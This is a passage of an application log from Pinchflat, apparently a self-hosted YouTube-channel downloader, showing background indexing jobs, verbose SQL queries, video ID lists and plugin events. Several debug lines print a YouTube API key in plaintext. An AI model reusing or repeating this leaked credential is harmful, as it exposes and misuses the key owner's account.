idle=1358.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268208, 42, ~U[2026-10-09 21:18:43Z], ~U[2026-10-09 21:18:43Z]] 16:18:43.427 [info] {"args":{"id":42},"id":5268159,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80431452,"event":"job:stop","queue_time":445863,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:18:44.416 [info] {"source":"oban","duration":10729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 16:19:00.385 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:14.426 [info] {"source":"oban","duration":9983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:19:44.438 [info] {"source":"oban","duration":10179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":13} 16:19:54.148 [info] {"args":{"id":14},"id":5268169,"meta":{},"system_time":1791580794148229369,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:19:54.148 [debug] QUERY OK source="sources" db=0.1ms idle=454.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:19:54.148 [debug] QUERY OK source="settings" db=0.1ms idle=454.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:19:54.149 [debug] QUERY OK source="media_profiles" db=0.0ms idle=455.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:19:54.149 [debug] QUERY OK source="settings" db=0.5ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:19:54.149 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:19:54.149 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:19:54.149 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:19:54.286 [debug] QUERY OK source="media_items" db=0.5ms idle=137.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 16:19:54.288 [debug] QUERY OK source="media_items" db=1.6ms idle=138.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:19:54.289 [debug] QUERY OK source="tasks" db=0.1ms idle=139.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268209, 14, ~U[2026-10-09 21:19:54Z], ~U[2026-10-09 21:19:54Z]] 16:19:54.289 [info] {"args":{"id":14},"id":5268169,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141320,"event":"job:stop","queue_time":729191,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:00.386 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:07.161 [info] {"args":{"id":12},"id":5268170,"meta":{},"system_time":1791580807161306757,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:07.161 [debug] QUERY OK source="sources" db=0.1ms idle=1467.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:20:07.161 [debug] QUERY OK source="settings" db=0.1ms idle=1467.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:07.162 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:07.162 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:07.162 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:20:07.162 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:07.162 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:20:07.443 [debug] QUERY OK source="media_items" db=0.5ms idle=280.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 16:20:07.444 [debug] QUERY OK source="media_items" db=0.6ms idle=281.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:20:07.445 [debug] QUERY OK source="tasks" db=0.1ms idle=282.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268210, 12, ~U[2026-10-09 21:20:07Z], ~U[2026-10-09 21:20:07Z]] 16:20:07.445 [info] {"args":{"id":12},"id":5268170,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":283788,"event":"job:stop","queue_time":655493,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:08.162 [info] {"args":{"id":41},"id":5268171,"meta":{},"system_time":1791580808162240633,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:08.162 [debug] QUERY OK source="sources" db=0.1ms idle=717.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:20:08.162 [debug] QUERY OK source="settings" db=0.1ms idle=717.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:08.163 [debug] QUERY OK source="media_profiles" db=0.0ms idle=711.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:08.163 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:08.163 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:20:08.163 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:08.163 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:20:08.367 [debug] QUERY OK source="media_items" db=0.8ms idle=204.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 16:20:08.369 [debug] QUERY OK source="media_items" db=1.1ms idle=205.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:20:08.370 [debug] QUERY OK source="tasks" db=0.1ms idle=206.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268211, 41, ~U[2026-10-09 21:20:08Z], ~U[2026-10-09 21:20:08Z]] 16:20:08.370 [info] {"args":{"id":41},"id":5268171,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208283,"event":"job:stop","queue_time":681091,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:14.470 [info] {"source":"oban","duration":31259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":7} 16:20:44.480 [info] {"source":"oban","duration":9845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.387 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:14.491 [info] {"source":"oban","duration":10015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:44.502 [info] {"source":"oban","duration":9714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:22:00.388 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:14.512 [info] {"source":"oban","duration":9792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:44.522 [info] {"source":"oban","duration":9903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.388 [info] {"source":"oban","duration":76,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:08.346 [info] {"args":{"id":37},"id":5268172,"meta":{},"system_time":1791580988346595580,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:23:08.347 [debug] QUERY OK source="sources" db=0.5ms idle=652.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:23:08.347 [debug] QUERY OK source="settings" db=0.1ms idle=653.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.348 [debug] QUERY OK source="media_profiles" db=0.5ms idle=653.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:23:08.348 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.348 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:23:08.348 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.348 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:23:08.530 [debug] QUERY OK source="media_items" db=0.5ms idle=182.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 16:23:08.531 